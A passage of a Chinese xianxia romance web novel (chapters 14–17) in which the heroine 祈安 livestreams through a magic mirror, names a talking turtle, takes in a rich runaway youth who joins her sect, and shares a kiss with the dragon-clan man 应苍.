就像是抱着一块微凉的玉石一般,应苍滚烫的身体和紧绷了一天的神经,在此刻终于得到了纾解。
他抱着祈安沉沉地睡了过去,完全没有发现黑暗中一双绿豆般的眼睛正注视着他。
14.宿清风
祈安难得一觉睡到中午,若不是枕边的乌龟一直巴拉她,她还能继续睡下去。
“唔——”她伸个懒腰,半梦半醒,语气间全都是被打扰后的不耐烦,“又怎么了?”
“我饿了。”
... ...
祈安躺在床上足足沉默了五分钟,期间那只昨天刚捡来的乌龟锲而不舍地喊着“我饿了”,最后她只得认命地起床:
“你要吃什么?”祈安说,“昨天的丹药已经没了。”
“肉。”乌龟毫不犹豫地回答道。
呵,脸皮真够厚的。祈安自己来落霞宫,都不见得顿顿有肉,它倒好,直接狮子大开口。
祈安没好气地说道:“别想了,没有肉给你吃。”
“那我饿死我自己。”
“你饿吧。”
这下反而轮到乌龟沉默了,昨天他这么威胁祈安,还换来了两颗丹药,怎么今天这招数就不管用了?
祈安不打算理会它,自己下床收拾准备先去吃午饭。结果低头一看,发现自己的裤子上多出了不少印记,全都集中在了小腿和大腿处。
奇怪,昨天晚上刚换的衣服,怎么就脏了呢?
她仔细观察着,发现更像是某种液体干涸留下的痕迹。祈安紧张兮兮地问着一旁的乌龟:“昨晚房里没人来吧。”
乌龟却始终把头扭到一旁,大有不放饭不说话的阵仗。
祈安无奈:“给你吃肉。”
“好嘞,昨晚没人来,一切正常。”乌龟爽快地回答。
不过,你去别人那里了。
当然,这话乌龟只在心里想想,并没有告诉祈安。
*
祈安简单收拾了一番后,去厨房给乌龟找肉。蔺远和怀津已经吃过午饭,灶台里还留着微弱的火苗,腾腾的热气伴着饭香飘进祈安的鼻子。不用看,锅里一定有给自己留的饭菜。
每次午饭时若是祈安不在,自己这两个师兄总会先把她的饭菜留好后再开动,因此祈安没吃过一次剩饭剩菜。
今天刚好菜里有荤腥。祈安捡了个小碟子,细心地从菜里一点点地把肉末挑拣出来,然后再从另外一道菜里夹了一坨方方正正的瘦肉,当做屋里那只饕餮的午餐。
这么一来,自己中午也只剩下一块肉了。祈安眼馋地看着那块色泽艳丽的肉块,忍不住吞吞口水:“其实,乌龟也是可以吃素的吧。今天先让你吃了肉,明天开始你就得吃素了哦。”
祈安嘴上这么说,但还是把肉都带给了乌龟。
那龟一见她进来,就伸长脖子张望着。
“给你。”祈安一把将肉推在了它面前,“吃吧。”
乌龟也不客气,一口就衔住了那块肉,津津有味地吃了起来。
祈安就在一旁撑着头看着它,这乌龟个头不大,但饭量还不小,似乎还没什么用,看来只能当做个宠物来养了。
“小乌龟,”祈安凑了过去,“你真的没有名字吗?”
“没、吧唧吧唧、没名字。”乌龟吃得正香,含含糊糊地回答道。
“那我给你取个名字吧。”
“随、随便。”
祈安歪着头想了想,计上心头:“你就叫来财吧。”
她来这里实在是太穷了,希望可以多挣点钱来。
乌龟倒没什么意见,抹了抹嘴边的油:“可以”
“好,以后你就叫来财了!”祈安垫了帕子捏着龟壳把它提了起来,“来财啊来财,一定要给我多招点财哦。”
正说着,肚子咕噜噜地响了起来。
她这才想到,自己中午还没吃饭。
祈安看看自己手里的乌龟,正悠闲地闭着眼睛,舔着嘴角,似乎还在回味食物的美味,当下把它就扔到了桌子上,用手猛戳它的龟壳:“以后我吃完了你才能吃,我要让你知道这个家到底是谁做主。”
说罢就气鼓鼓地出去了。
去厨房的路上刚好路过应苍的房间,看着那扇紧闭的房门,连窗户都没有开,祈安突然想起:昨天他好像生病了,也不知道怎么样了,要不去探望一下?
祈安走到应苍门前,刚准备敲门却又放下了手。毕竟昨天两个人分开的也不算愉快,这个闲事要不还是算了?省的又惹一肚子的火。
就在此刻,门开了。
应苍没料到祈安在门口,两个人都愣了几秒。
不过看上去应苍的脸色似乎比昨天好了不少,应该没什么大碍了。既然已经遇上了,祈安也不遮遮掩掩,直接问道:“你好些了?”
“嗯。”
应苍态度虽不热情,但比昨天还是好上不少。
祈安的心情也不自觉地松下来,没有刚才那么紧巴,随口问了句:“吃饭了吗?”
“还没。”
“我正要去吃,那一起?”
应苍淡淡地答道:“好。”
好,好?
祈安疑惑地抬头,她刚刚只是礼貌地询问,没想过他真的会同意。毕竟应苍来的这半个多月,没和大家吃过一次饭。
今天这是怎么了?
不过既然他都答应了,自己也不好再拒绝:“那走吧。”
临走前,祈安问道了一股淡淡的腥味,像是海里的味道。她往应苍身后望去:“你屋里是有什么东西坏了么?怎么有股奇怪的味道,要不要进去看看?”
应苍用身子挡住了祈安往房里看的视线,顺带拉上了门:“没什么,去吃饭吧。”
突然缩短的距离让祈安心头一颤,她往后退了几步,小声地应道:“哦。”
祈安面色如常,可心脏早就像个受惊的猫一样上下乱窜:吓我一跳!不让看就不让看,干嘛离这么近嘛!真是冒昧的家伙!
*
厨房内。
厨房空间逼仄,方才祈安自己一个人还不觉得,现在加了个应苍,顿时拥挤了很多,连一张桌子都支不下。
干脆搬来了两个矮凳,两个人依着灶台而坐。饭菜摆在灶台的边缘,祈安盯紧最后那块肉。
她假意微笑:“你受伤之后,最好不要沾荤腥,这块肉你就不要吃了。”
刚说完,就夹走了那唯一的肉块。应苍眼皮都没有抬一下:“我只吃鱼。”
嗯?只吃鱼?好奇怪的嗜好。不过既然他不吃肉,祈安吃起来就更加心安理得,一块肉分几次才全都吃完。
不得不说,自己两个师兄的手艺还是很不错的,虽然食材有限,但味道却是极佳。祈安已经扒拉完了一整碗米饭,刚准备再盛一碗的时候,却看到一旁的应苍几乎没怎么动菜,只用筷子挑着碗里的米饭吃。
还是第一次看到,一粒、一粒、一粒吃米饭的人。
祈安撇撇嘴,这吃饭的方式,不知道还以为是谁家少爷呢。她决定不再看应苍,不然影响自己的食欲,又盖了满满一碗饭,继续暴风吸入。
厨房里就只听得到祈
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安吃饭的声音。
应苍时不时用余光瞄几眼祈安。
以前在苍龙族时,他几乎不吃人族的熟食,饿了就随手抓几条鱼生吞。
后面被锁在了无光谭里,里面活物极少,大部分时间都是他独自一人。好不容易游过来的一两只鱼儿,他不舍得立刻吞下,都会用牙齿咬住尾巴,看着它们扑腾。
水花四溅,身躯扭动,是应苍唯一消遣孤独的方式。直到他们完全不动弹了,应苍才会再吞入腹内。
今日被祈安邀请时,应苍突然想体验一下与他人一同吃饭的感受,便答应了和她一起吃饭。可没想到祈安竟是这种吃饭风格。
若是硬要用一个词来形容,那就是:狂野。
在自己还在菜中挑选的时候,她一个仰头,一大口饭就可以入肚。腮帮子时常会塞得很满,咀嚼的时候眼睛眯起,吞咽过后甚至会发出声声的喟叹。
从祈安的表情里,应苍只看得到两个字:满足。
发情期后,应苍时常觉得体内空虚,突然也想让自己“满足”一下。他学着祈安塞了一大口米饭,却发现自己根本咽不下去,饭团堵在咽喉处,要费很大的力气才能完全从自己的食管中顺下去。
应苍不再勉强自己。
他转变了策略,只看不吃。突然发现,哪怕是只观察祈安吃饭,也会让他有满足之感。
应苍的饭吃得越来越少,看祈安的时间越来越多。
祈安终于感受到了他的视线,茫然地抬起头:“怎么了?”
应苍笑笑:“没什么。”
这一笑,让祈安冷汗直冒,她好像还是第一次见应苍对自己笑,不自然地扯扯嘴角:“好。”
虽然嘴上说的好,心里却一阵阵的发毛。手底的动作加快了不少,第二碗饭迅速见底,随手往灶台上一推:“我吃完了!”
应苍见她停下,自己也没有了胃口:“我也吃饱了。”
祈安:......
只吃半碗饭,就饱了?
*
两人一同把厨房拾掇干净后,在门口分开了。
祈安昨天已经完成了同时在线十人的任务,还没来得及试试系统新解锁的弹幕功能。刚好下午没什么事情,就去了湖边继续直播。
应苍由于发情期还没有完全结束,便回到了自己的房间。刚进屋就把窗户打开,给屋子通风。
今早醒来的时候,房里的味道比此时还要重些。腿间的黏腻,外加上自己的发情期,他大致也能猜得到昨晚发生了什么。
再过两天,这味道应该就完全没有了。
应苍在窗前坐下,掏出了玄光鉴。
祈安已经开始直播了。
他点进去直播间,就发现与往日有些不同。祈安好像一直在与一个人聊天,而左下角开始出现一行行文字。
【宿清风:你好点了吗?昨天看你掉下去我真的吓坏了。】
【宿清风:湖水很冷的,最近要多穿点衣服,不要吹风。】
【宿清风:我从你吃面那天就在看你直播了。】
【宿清风:对呀,我每天都看。】
... ...
这个名叫宿清风的人,一直在发着消息,基本上他发一句,祈安回一句,两人就在直播间里聊了起来。
应苍发现自己也可以发言,但他始终默不作声,直到宿清风问出了那句:
【昨天救你的男人是谁啊?】
15.新来的
祈安看到这句话后,犹豫了片刻,旋即露出笑容,将耳边的头发理好,微微耸肩,脸上带着些羞赧:“是我道侣。”
应苍听到道侣一词后,把刚打好的朋友二字删掉了。
他静静地盯着玄光鉴,想看看祈安后面会说什么。他都不知道,自己居然有了道侣。
祈安是故意这么说的。
这修真界的规则她还没有完全摸透,身旁也没个撑腰的人,只能给自己虚拟出一个道侣来,也算是她在这“互联网”上的一个人设,以后没准还可以给自己省掉不少的事情。
果然,在她说完道侣之后,宿清风沉默了。
瞧瞧,瞧瞧,目的性多么的明确。
祈安撇撇嘴,看着空荡荡的屏幕,苦笑了一下。刚才的热闹仿佛是昙花一现,转眼间就又恢复了寂静。
右上角此时在线的人数只有六人,昨天在解锁了弹幕的同时,也解锁了新的阶段任务——粉丝达到100人。
而她现在只有四个粉丝,其中一个还是宿清风,也不知道他会不会在知道自己有道侣之后激情取关。
毕竟男人嘛,这也正常。
“好困啊,”祈安躺在了草地上,顺手将玄光鉴放在了自己的身侧,“希望我一觉醒来,粉丝暴涨,身价狂飙,一举成为这修真界的顶流。”
她像哄小孩儿睡觉一样拍了拍自己:一会儿就梦这个。
在午后阳光的照射下,晒绿了草,晒暖了身子,祈安枕着温热的太阳光睡了过去。平稳的呼吸从玄光鉴里传来,应苍坐在窗前细细地听着,恍惚间以为自己也躺在了如茵的草地上,躺在了祈安的身旁。
*
青城殿外。
宿清风正飞奔在树顶,他脚踩一双青缎粉底小朝靴,身后背着一张黑金相间的弯弓,行动间红衣翻飞,就像一团流动的云霞一般。
他一边跑,一边往树下看去。在不远处,一个粉衣服的少女正追着他跑着:“清风哥哥,你等等我。”
宿清风脚底步子不停,仍然往前飞奔去。他是偷跑出来的,家里的人要他去青霄宗报道。
他思前想后,觉得自己放纵惯了,去那青霄宗只有被人管着的份,还不如不去。于是给自己的大哥留了个字条,偷偷从家里溜了出来。
在路上随手救了个被欺负的少女,少女非要报答他的救命之恩,一路跟着,怎么劝说都没有用。
于是他只能使出自己的杀手锏:树上飞。那少女看上去才满十八,娇娇弱弱的,想必功夫一般,应该追不上他。
不过为了保险起见,宿清风还是在树上飞了半个多时辰才下来。
身后果然没有了人。
他长舒一口气,一屁股坐在了树下:“终于清净些了。”
刚停下来,宿清风就连忙掏出了自己的玄光鉴,看着【直播已结束】这几个字,他失望地垂下了头。
“唉——”宿清风吐掉了自己嘴里叼着的草,双手枕在脑后,“也不知道什么时候可以真的遇到仙女姐姐,顺便再看看她那个道侣。看上去弱不禁风的样子,刚从湖里出来就晕倒了,不中用。我看他根本保护不了仙女姐姐,还不如让我来。”
宿清风小心地擦拭着玄光鉴,然后收到了自己怀里的内袋里:“明天见,姐姐。”
说罢,一个鲤鱼打挺从地上站起,继续赶路。
偷溜出来的这段时日,宿清风除了睡觉,就一直在路上。他也没想好自己要去哪里,打算遇到自己想留下来的地方,就住一阵子,住腻了,再换下一个地方。
天色渐黑,他隐隐瞧见前面的院子门前挂了几盏灯,恰好肚子有些饥饿,打算过去看看能不能买些吃的。
刚到门口的时候,就看到了一个梳着两个发髻穿一身青绿色衣裙的女子。只能看到一个模糊的背影,却有种莫名的熟悉感。
宿清风心突突地跳着,他心里有个猜想,却不敢妄下结论,只能快步赶过去。
“请问——”
祈安听到身后的声音,转身望去,只见自己身后站了个男子,二十岁上下。夜色下只看得到一双亮晶晶的眼睛,有着独属于少年的蓬勃朝气。好久没看到如此青春张扬的面容了,祈安不自觉地挂上了笑容,声音轻柔,问道:“有什么事吗?”
宿清风看着眼前的人,已经完全忘记了自己要说些什么。这些天里日日看到的人,就这样真的出现在了自己面前。那个以为还要坚持很久的目标,没想到转个弯就实现了。
“你好,你有什么事吗?”
祈安又问了一遍。
宿清风张张嘴,艰难地开口:“仙、仙女姐姐。”
“什么?”祈安皱皱眉头,没听清宿清风在说什么,又往前走了两步,“不好意思,我没听太清。”
宿清风索性拿出了自己的玄光鉴,打开了关注列表,把自己那个唯一关注指给祈安看:“我就是宿清风,仙女姐姐你记得我吗?”
宿清风?那个下午和自己在直播间互动的人?
祈安难以相信,她以为那宿清风是个油腻的中年大叔,完全没想到竟然是个意气风发的少年郎。
“宿清风原来就是你呀。”祈安看着眼前的人,疑惑地问道:“你是特意来找我的?”
“不是不是。”宿清风连忙否认,“我和家里闹了点矛盾,自己溜出来了,我也没想到可以在这里遇到仙女姐姐。”
祈安听他一口一个仙女姐姐的,有些不适应:“你叫我祈安就好。”
“哪个祈哪个安。”
“祈福平安。”
原来仙女姐姐叫这个名字,宿清风默默记下:“我记住了,祈安姐姐。”
... ...
姐姐就姐姐吧,自己确实比他大。
“这么晚了,你准备去哪?”
宿清风听到祈安这么问,立马耷拉着脸,垂头丧气地说道:“还没找好去处,对了祈安姐姐,这是你的宗门吗?我可以在这里住一段时间吗?”
他一边说,一边抬眼偷偷瞄着祈安的反应。祈安神色没什么变化,她倒是无所谓,就是不知道师父那边会不会同意。毕竟多一个人,就多一张嘴吃饭。而且宗门里,好像也没什么空余的地方给他住。
宿清风见祈安还在犹豫,连忙从怀里掏出了一个包袱,打开来:“我不会白住的。”
祈安被包袱里的东西惊到了,竟然全都是上品灵石,少说也有几十块。她当即拍拍宿清风的肩膀,说道:“走
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,我带你去见师父。”
有钱不赚,王八蛋。
*
祈安带着宿清风去找了清虚,她本以为以清虚的性格,不会随意地留人住宿。
结果清虚爽快地就答应了,并且还不收灵石。
临走之前,祈安还是不死心地问道:“师父,你真的一分钱都不要吗?”
“与人方便,与己方便。”[1]
... ...
祈安知道赚钱的事儿没戏了,微微躬身:“徒儿明白。”,带着宿清风离开了。
“祈安姐姐,”宿清风跟在她的身边,“我今晚住哪啊。”
祈安看了一眼身旁的人,还在惋惜自己没赚到的灵石。她像猫一般的眼睛盯着宿清风,一字一顿地说道:“柴房。”
柴房里连床都没有,只在地上有一块破旧的褥子,上面还混着一些尘土和木棍。
这宿清风看上去像是个大户人家的公子哥,也不知道在这里住的习惯不。祈安本来想问问他的想法,结果一抬头就看到宿清风还在咧着嘴冲她笑,脸上没有一丝的不情愿,便打消了自己的念头。
也许,他是个地主家的傻儿子吧。
“你把这个拿起来。”祈安指挥着宿清风,“拿到门外去抖一抖,不然太脏了你睡起来不舒服。”
“好!”
祈安感叹宿清风的行动力,毫不犹豫,绝不拖泥带水。
宿清风捏着被褥的两个角,在柴房外狂抖着,上面的泥土和木棍都簌簌地往下掉。
门外尘土乱飞,祈安捏着鼻子站在一边,眼看着差不多了,让宿清风停了下来:“可以了,进来吧。”
“遵命!”
宿清风立马收了被子,没想到自己面前突然站了个人。
这个人要比他高一些,脸上神色淡淡的,但周遭却散发着一股生人勿近的气息。
宿清风一眼就认出,这是那天跳进湖里救祈安的人,也就是她的道侣。
“怎么还不进来?”祈安一直没看到宿清风的人影,想去看看他在做什么。结果刚走到柴房门口,就看到应苍站在那里。
她有些惊讶:“你怎么在这?”
“我听说来了客人,出来看看。”
他消息什么时候这么灵通了?
祈安朝应苍介绍道:“他今天没地方去,就先在这里住一晚。”
“我叫宿清风。”少年主动说了自己的名字。
应苍立刻联想到了下午在祈安直播间一直说话的那人。难道是同一个人?
“祈安姐姐,这位是?”
“他叫应苍。”祈安介绍道,“是我——”
“是她的道侣。”
?
祈安不敢相信自己的耳朵。这人刚刚说什么?道侣?他怎么和自己一样,说谎不打草稿啊。
等等!难道说...下午的直播他一直在看?!祈安难以置信地扭头,看到罪魁祸首正微微含笑看着她。
她这下确定了,自己下午那番逆天言论,想必是被他听了去。眼下还有宿清风这位当事人在,祈安也不想打自己的脸。干脆直接挽上了应苍的臂弯,朝宿清风说道:
“没错,他是我的道侣。”
16.新师弟
宿清风看着祈安和应苍挽着的胳膊,只觉得格外刺眼,如果再看下去怕是会做出冲动的事来。于是直接抱着被褥进了柴房,连招呼都没有打。
柴房门刚一关上,祈安立马松开了应苍,拉开两人之间的距离,讪讪说道:“你——下午都听到了呀。”
应苍视线落在了祈安松开的手上,漫不经心地答道:“嗯。”
“之前我以为这个宿清风不是什么好人,所以才想着冒用一下你的身份。”祈安和应苍解释道,“你是生气了吗?我保证以后不这样了。”
应苍道:“无妨,对我也没什么影响。”
“我这样做,终归是不好的。”祈安越说声音越小,用余光偷偷地看着应苍的反应。这人平日里冷得像个冰块,自己还随便称作是他的道侣,要说他不介意?哼,狗都不信。
应苍的注意力并不在祈安的身上,他听觉灵敏,隐隐感觉到柴房门口似乎有着窸窣的动静。略一思考,迈着步子往远处走去。
祈安见他离开了,也跟了上去。
此时,宿清风正躲在柴房的门后面,他背靠着木门,怀里抱着自己刚抖好的被子,嘴角的笑怎么也压不住:“我果然没猜错,这个男人根本不是祈安姐姐的道侣。既然姐姐没有道侣,那我还是有很大机会的!”
宿清风躺在地上翻来覆去地睡不着,满脑子想的都是怎么在这落霞宫留下来,怎么一直陪在祈安身边,怎么才能成为......她真正的道侣。
*
哪怕是夏天,落霞宫的院子也显得有些凄凉。灵植种的稀稀疏疏,由于周遭灵气不足,长得也不丰茂。尤其在清晨,更显萧瑟。
宿清风的一席红衣在这天地间格外地醒目,他一大早就醒来了,正坐在院子的中央等着祈安。
祈安从房里出来的时候,就看到了一个拿着弓箭写字的背影,还有满地的“祈安”二字。
她有些头疼,这个宿清风,怎么越看越像个无脑迷弟。
“在干什么?”
宿清风听到声音,眼睛都亮了,像是打了胜仗一般,把自己的杰作展示给祈安看:“姐姐快看,我写得怎么样。”
祈安发现,宿清风做事冒冒失失,但他有个优点,足够坦荡。刚好祈安喜欢与这样简单的人相处,心里的不适感消了大半:“写得还行。”
宿清风一听到祈安夸他,脸立马红了,站在原地不知所措,若是他长着一条尾巴,怕是已经翘到天上了。
只是没想到祈安话还没说完,后面还有半句:
“下次别写了。”
笑容没来得及收回去,宿清风身上那股子生气劲儿马上就消失了大半,他沮丧地问道:“姐姐不喜欢吗?”
“没有。”
“那为什么不要我写。”
... ...
祈安一阵语塞,像个长辈一般,语重心长地念着:“浪费时间。”
“一点都不浪费。”宿清风乖顺极了,低着头,认真说道,“只要姐姐喜欢的,就不是浪费。”
... ...
这下祈安真的没辙了。
两个人明明昨天是第一次碰面,宿清风怎么表现得像是爱慕她很久一样。果然,小孩子的心性都不成熟,得赶快把他送走。
祈安抱着胳膊搓了搓刚冒出来的鸡皮疙瘩,问道:“你今天什么时候出发?”
宿清风迷茫:“去哪儿?”
祈安:“去你要去的地方。”
“我已经决定了,哪也不去了,以后就留在这里!”
什么?祈安终于体会到了人在极度无语的时候,真的会笑出声来:“你留在这里做什么?”
“学功法。”
“我师父答应收你为徒了?”
“我还没和他说,”宿清风挠挠头,“不过应该不会拒绝我吧。”
原来还没答应啊,依照清虚的性子,估计是不会收他为徒了。祈安笑笑,拍拍他的肩膀,说道:“祝你好运。”
“祈安姐姐。”宿清风见祈安往别处走去,立刻跟了上去,“你去哪儿啊,我和你一起呀。”
祈安扭过头,面无表情的吐出两个字来:“洗澡。”
“洗洗洗澡啊,”听到这话的宿清风脸红到耳根子,急得话都说不利索,立马转身用衣服遮住了自己的眼睛,“对不起对不起,我不知道你要去洗澡。姐姐你去洗吧,我不去了不去了。真的,不去了。”
像是怕自己的话不可信一样,宿清风一连说了好几个不去了。
祈安摆摆手:“走了。”
宿清风直到完全听不到声响后才放下了自己的衣服。
从落霞宫出去后,祈安掏出了自己口袋里的来财。昨天下午忘记给它喂东西,回去的时候它连说话都有些吃力了。
为了补偿它,祈安答应了早晨去“打猎”,捞几条鱼给它补补身子。
*
祈安走后,宿清风就去蹲守在清虚门口,他特意拎着自己装灵石的包袱,自言自语道:“这么多灵石应该够学费了吧,要是实在不够我就再回去拿点。反正到哪里都是学仙法,爹和娘不会不同意的。”
“不会有什么入门考核吧?要是让祈安姐姐考我,我肯定会紧张地说不出话来的。”
“最好是那个假道侣来,我就可以光明正大地和他打上一架了。”
宿清风在外面来回踱步,吵到了正在静坐的清虚:
“谁在外面?”
宿清风听到里面的动静,立马拱手:“道长,我昨夜在贵处留宿,深深地被宗门吸引了,尤其是贵宗的祈安师姐,更是人中之凤、功法精妙。我想以后留在落霞宫修行,恳请道长应允。”
“落霞宫不收新弟子了,小友去别处试试吧。”
“道长。”宿清风举起了自己手里的包袱,“这是500块上品灵石,只要道长您能够把我留下,这些都可以直接上交给宗门。”
“落霞宫人丁稀薄,老夫年事已高,已经没有多余的精力再招收弟子。”清虚始终不打开房门,徐徐说道,“灵石我们够用,小友请回吧。”
什么嘛,钱都打动不了?无奈之下,宿清风只能使出了自己的底牌,搬出家里的爹娘来:“道长,我爹是宿厉,我娘是风无忧,如果你收我为徒,以后咱们落霞宫一定可以分到更多的资源,那样就可以吸引更多的修士来,您也可以不用这么累了。”
清虚一听,沉默了片刻:“你是江州宿家的人?”
感觉到清虚有所松口之后,宿清风立刻补充道:“对,我是宿家的,就是那个江州第一大修真家族。本来爹和娘是要我去青霄宗的,但我不想总是被安排,就自己偷跑出来了。”
“进来吧。”
紧闭的房门终于打开,宿清风拎着那一大袋灵石像阵风一样跑了进去。
*
祈安在河边捞鱼时,收到了清虚传来的讯息:
【祈安,你来一下。】
“奇怪,”祈安把捞到的三条鱼用铁丝串在一起,斜跨在自己身上,“师父今天是怎么了?怎么突然叫我过去。”
她就这样挂着自己刚设计的时尚单品去了清虚那里,没想到的是,宿清风也在。
他还真来拜师了呀。
宿清风一见到祈安进来,眼里就挂上了笑,视线就没有从她身上挪开过。
祈安装作没看见,朝清虚行礼:“师父。”
“祈安,宿清风以后就留在我们宗门了。”
果然!祈安瞟了一眼自己身旁乐得合不拢嘴的少年,也不知道他用了什么方法说服了师父。这一留下来,自己不就相当于身边多了个粘人精?
“听他说你们二人先前就认识,相处起来应该比较融洽,以后就让他跟着你。”
“跟着我?!”
祈安的声音陡然升高,宿清风被她的态度吓了一跳,装出副委屈的样子:“师姐你不愿意吗?”
刚说完就收到了祈安一记飞眼,吓得他立马噤声。
“你也不用太过担心,我安排了应苍和你一起,遇到事情你也有个商量。”
和应苍?一起?商量?
......
这对于祈安来说,简直堪比两道天雷。
宿清风也没料到这里面还有应苍的事情,立马和清虚说道:“师父,我其实很好带的,不需要两个人,师姐一个人就够了。”
“道长。”
清冽的声音从身后传来,祈安和宿清风双双回头,应苍正从门口走进来。
清虚招手示意应苍上前来:“这是江州宿家公子。”
应苍听到江州宿家几个字,脸色微变,抬眼看向宿清风。
竟是宿家的孩子。他昨晚根本没有仔细看过宿清风的长相,眼下才细细打量。
少年眉骨挺立,眉宇间全是自信的神色。仔细瞧去,脸上是带了些风无忧的影子,不过和宿厉倒是没一点相像之处。
二十岁上下,刚好是一个人最好的年纪。
原来宿家还有个这么小的孩子,应苍低头,鬓边垂落的发丝遮住了他似笑非笑的唇角。
“宿清风以后会留在这里,我把他交给你和祈安。”
祈安一直朝应苍使眼色,示意他不要答应。没想到应苍视若不见,微微颔首:“好。”
祈安:这下好了,两个活爹。
*
落霞宫里已经没有多余的房间给宿清风了,他暂时只能先和蔺远、怀津挤在一起。住的地方离祈安有点远,宿清风不是很满意:
“那个谁,你住哪里?”
应苍知道宿清风在叫他,但仍没有停下脚步。如果此时祈安不在,如果宿清风对他没有一点用处,应苍一定会把他绑起来好好教训一顿。
这般无礼的态度,他一向看不惯。
“哎哟。”宿清风的胳膊被祈安猛地锤了一下,他吃痛叫嚷着,“姐姐你干嘛打我。”
祈安手插着腰:“干嘛打你?你自己不知道吗?要是下次再让我看到你这么没礼貌,我见一次打一次。师父把你交给我了,你就得听我管教,如果不服气就去找师父给你换个人带,正好我还不想管你呢。”
她最不喜欢没礼貌的人,刚好自己心里有火没处发,宿清风就这样直挺挺地撞枪口上了。
“哦,我知道了。”宿清风头低垂着,不情愿地回答道。
“那下次你要叫应苍什么?”
“苍哥。”
这两个字如同蝇叫,几乎听不到。
宿清风以为这事就结束了,没想到在十步开外的应苍突然回过头来,
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满脸笑意地看着他:“你要叫我什么?”
“你!”宿清风看着应苍一脸嘲笑的神色,心里羞愧难当,刚想上前理论,结果看到祈安就站在他身旁,如剑的眼神紧盯着自己,刚起来的气焰立马就熄灭了,整个人像个霜打的茄子般,喊了句,“苍哥。”
“嗯。”应苍立马应声。
祈安费了好大的力气,才忍住没笑出声,看到宿清风脸上青一阵白一阵,走过去摸了摸他的头:“这才乖。”
应苍把祈安的动作尽收眼底,面无表情地看着远处的两个人。
宿清风整个人都呆在了原地,眼神恨不得完全黏在祈安身上。对上应苍的视线后,朝他挑衅一笑:“姐!姐!摸!我!的!头!了!”
应苍:... ...
祈安:... ...
孩子疯了。
*
祈安一整天都忙着宿清风的事情,等整个人完全歇下来后,已经到了子时。她累得瘫在床上,被玄光鉴硌到了肋骨。
坏了!今天忘记直播了!本想掏出来突击一下,没想到已经过了凌晨十二点,上面赫然写着:
【宿主当日未直播,扣除寿元十天。】
又来了。
祈安已经累到不想说话,既然寿元已经扣掉了,也没什么补偿的办法,她把玄光鉴丢在一旁,卷着被子睡过去了。
应苍还没睡着,他一直在想着清虚对他说的话。
这是江州宿家公子。
这看似随意的一句话,实则早就笃定自己会对宿清风的身份感兴趣。应苍在脑海里把遇到清虚后发生的所有事情都过了一遍。
先是主动要求他留下来疗伤。
接着又将他带进了云水间。
后面将上古神符送给了他。
再加上今天又特意向他强调了宿清风的身份。
应苍基本断定,清虚一定是千年前那件事情的知情者。
千年前,宿家就一直在为青霄宗做事,在帮助青霄宗除掉苍龙族后,更是一跃成为了江州第一大修真家族,直到现在都屹立不倒。
如果清虚真的知晓当年的事情,那他究竟是谁?
苍龙族人?但并没有感受到他身上苍龙族人特有的气息。
沉思间,应苍忽然听到了隔壁房门开合的声音。
是祈安。
他打开窗户,刚探出身子就看到祈安往他这边靠过来。最近这些时日,自己身上的寒疾已经好了不少,发作起来也不像之前那般难熬,只是偶尔还会化回原身。
估计再过几个月,功力就能恢复至七成了。
祈安慢悠悠地朝他走来,应苍也不急,一直等在窗口。只是这深夜里,除了祈安的脚步声外,好像还有另外一个人的步声。
应苍凝神细听,步频快而急,还直直地朝他们这边来。在这落霞宫里,这般走路的,怕是只有新来的那个家伙了。
应苍冷哼一声,本想将祈安直接从窗户抱进来,但转念一想,换了打算。自己从窗口跳出去,刚好祈安撞进了他的怀里,他一手揽着祈安,一手将窗户合上,留了一条微小的缝隙后,将怀里的人打横抱起,两人一同进了祈安的房里。
门刚关上,宿清风就到了。他晚上怎么也睡不着,就偷溜出来闲逛,不由自主地就走到了祈安和应苍的房门口。
宿清风本来只是想随意看看,但瞄到应苍窗户的那条狭小的缝后,他的心里起了波澜。
“我就看一下,就一下,什么都不干。”
宿清风一面自我安慰,一面往应苍的窗户边靠。他尽量放轻自己的手脚,以减少自己发出的动静。
此时院子里的一点风吹草动,都足以让他冷汗直流。
他轻轻地将窗户再推开一些,透过缝隙往屋里看去,没想到床上空无一人,连被子都整齐地叠着。
“怎么没人?”
宿清风四下看看,并没有看到应苍的身影。如果说他没有出去,那他最有可能在的地方就是——
祈安的房间。
难道他真的在姐姐那里?
宿清风走到了祈安的门口,出神地看着那扇门。
应苍知道他就在屋外,两人之间隔着一道木门。祈安一直被应苍抱在怀里,许是觉得有些热了,睡梦中哼叫出声。
应苍担心被宿清风听到,一手拦腰抱着,一手捂住了祈安的嘴。
无意间磕到了木门,在静谧的夜晚中显得格外醒目。
宿清风刚听到声音,就把耳朵贴近了木门。
只听得一阵断断续续、清浅的呼声不时地传来,声音细微,他却听得真切。
是姐姐的声音。
深夜,隔壁空无一人的房间,和这略显暧昧的声音。
宿清风心沉到了谷底,他自嘲地笑笑,往后退了几步,跌跌撞撞地离开了。
应苍等到外面完全没有脚步声之后,才松开祈安,将她放在了地上。
刚想喘口气,就被祈安用力地推了肩膀,应苍背后是嘎吱狂响的木门,前面是朝他一步步走来的祈安。
“祈安?”
他觉得祈安好像和平时不太一样,还没来得及思考究竟是怎么一回事,就见祈安踮起了脚。
紧接着,自己唇上传来了一阵温热。
17.玄武龟
应苍被突如其来的触碰弄得手足无措,一双手虚扶在祈安腰后,既不敢靠太近,也不敢离得太远。
他生得太高,祈安踮着脚勾着脖子,才将将能够碰到嘴唇。
温热的呼吸洒在鼻尖,嘴角一点点被濡湿。
应苍就像是被定住了一般,忘记了自己可以自由活动,始终保持着一个姿势。
许是怕冒犯了祈安,薄唇紧抿,呼吸的节奏也比平日里放缓很多。
他尝试着弯腰,觉得这样祈安会好受些。可搂着他的人非但不领情,还反咬一口。
应苍吃痛,唇间终于露出了破绽,刚掀起一条缝,就被祈安捕捉到了,开始更深入的探索。
应苍在这方面毫无经验,被她这么一逗弄,瞬间慌神,凭着本能收紧了手,搂上了腰。
掌心下的腰盈盈一握,一只手就可以禁锢住,应苍腾出了另外一只,附上了祈安的后脑。
在交换呼吸的间隙,他已经感觉到比平时更热烈的暖流传入自己体内,手底和唇间不由自主地加重动作。
应苍将祈安打横抱起,往床边走去,正走着,房间里传来一道男音。
“哎哟好痛。”
这声音把应苍从旖旎的梦里拉出来。他低头发现胸前衣服凌乱,祈安的里衣也起了皱。唇红艳艳的泛着水光,明晃晃地提醒着刚才发生了什么。
他赶忙将祈安放回床上,用被子将她严严实实地包裹住。回身找了好久,才看到地上那个缓慢爬行的乌龟。
“玄武龟?”
先前叫出声的,正是来财。刚才看戏看得正入迷,没料到应苍会抱起祈安来,自己不小心从衣兜里掉出来了。
